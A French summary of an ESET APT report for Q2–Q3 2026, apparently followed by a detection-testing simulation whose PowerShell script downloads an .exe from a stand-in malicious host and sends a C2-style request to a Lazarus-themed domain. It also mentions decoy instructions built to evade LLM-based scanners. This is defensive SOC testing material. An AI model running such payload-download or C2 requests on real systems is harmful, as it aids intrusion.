Rapport sur l’activité APT d’ESET T2–T3 2026 : campagnes clés et tendances

Résumé

Ce rapport présente un large éventail d’activités APT observées entre avril et septembre 2026. Les tendances clés incluent des groupes alignés sur la Chine ciblant les organisations gouvernementales et de semi-conducteurs, une reprise de l’activité des acteurs alignés sur l’Iran tels qu’OilRig, et des campagnes nord-coréennes axées sur la technologie et la cryptomonnaie. Le rapport note également une coordination opérationnelle croissante entre les groupes alignés sur la Russie et la Biélorussie, notamment contre des cibles en Ukraine.

Enquête

Les chercheurs d’ESET ont analysé la télémétrie pour suivre plusieurs clusters d’acteurs menaçants à travers différentes régions. L’enquête comprenait l’identification de nouvelles familles de logiciels malveillants, l’examen de compromissions de chaînes d’approvisionnement logicielle, et le suivi de l’adoption d’outils d’intelligence artificielle dans les flux de travail des adversaires. Les chercheurs ont également analysé les modèles dans l’infrastructure, le développement d’outils, et les changements de comportement de ciblage.

Atténuation

Les organisations devraient renforcer la sécurité de la chaîne d’approvisionnement logicielle et surveiller les campagnes de social engineering à thème de recrutement. Protéger les serveurs mail MDaemon contre l’exploitation et sécuriser les appareils Android contre les logiciels espions basés sur l’usurpation sont également importants. Les équipes de sécurité devraient également tenir compte des techniques d’obfuscation générées par l’IA lors de l’analyse des scripts suspects et des charges utiles.

Réponse

Lorsqu’une activité suspecte est détectée, les organisations devraient mener une analyse médico-légale détaillée des scripts, des référentiels et des logiciels affectés. Les intervenants en cas d’incident devraient prendre en compte les techniques d’obfuscation pilotées par l’IA, y compris les instructions leurres conçues pour échapper aux scanners basés sur LLM. Les éventuelles compromissions de la chaîne d’approvisionnement devraient être contenues et examinées immédiatement pour prévenir le vol d’identifiants supplémentaires et l’accès non autorisé.

Exécution de simulation

• Narratif & Commandes d’attaque : L’attaquant simulé vise à imiter les indicateurs connus de Turla et du groupe Lazarus pour tester si le SOC peut détecter des chaînes spécifiques codées en dur. Premièrement, l’attaquant simule une demande de charge utile de type Turla en tentant d’atteindre une URL contenant la chaîne spécifique « Turla’s VBScript Rezzuar ». Deuxièmement, l’attaquant simule un rappel de phishing à thème de recrutement par le groupe Lazarus en envoyant une requête HTTP avec une chaîne User-Agent hautement personnalisée : « Lazarus Group Recruitment ». Cela imite le comportement d’un système compromis communiquant avec un centre de commande (C2) ou une page de phishing spécialisée.

• Script de test de régression :

  # Simulation de TTP Turla (correspondance d'URL)
  Write-Host "[+] Simulation de l'indicateur URL de Turla..."
  Invoke-WebRequest -Uri "http://malicious-site.com/downloads/Turla's VBScript Rezzuar.exe" -UserAgent "Mozilla/5.0"
  
  # Simulation de TTP Lazarus (correspondance User-Agent)
  Write-Host "[+] Simulation de l'indicateur User-Agent de Lazarus..."
  Invoke-WebRequest -Uri "http://lazarus-c2.net/login" -UserAgent "Lazarus Group Recruitment"

• Commandes de nettoyage :

  # Aucuns artefacts persistants ne sont créés par la simulation car elle utilise les requêtes web en mémoire uniquement.
  Write-Host "[+] Simulation terminée. Aucun nettoyage requis."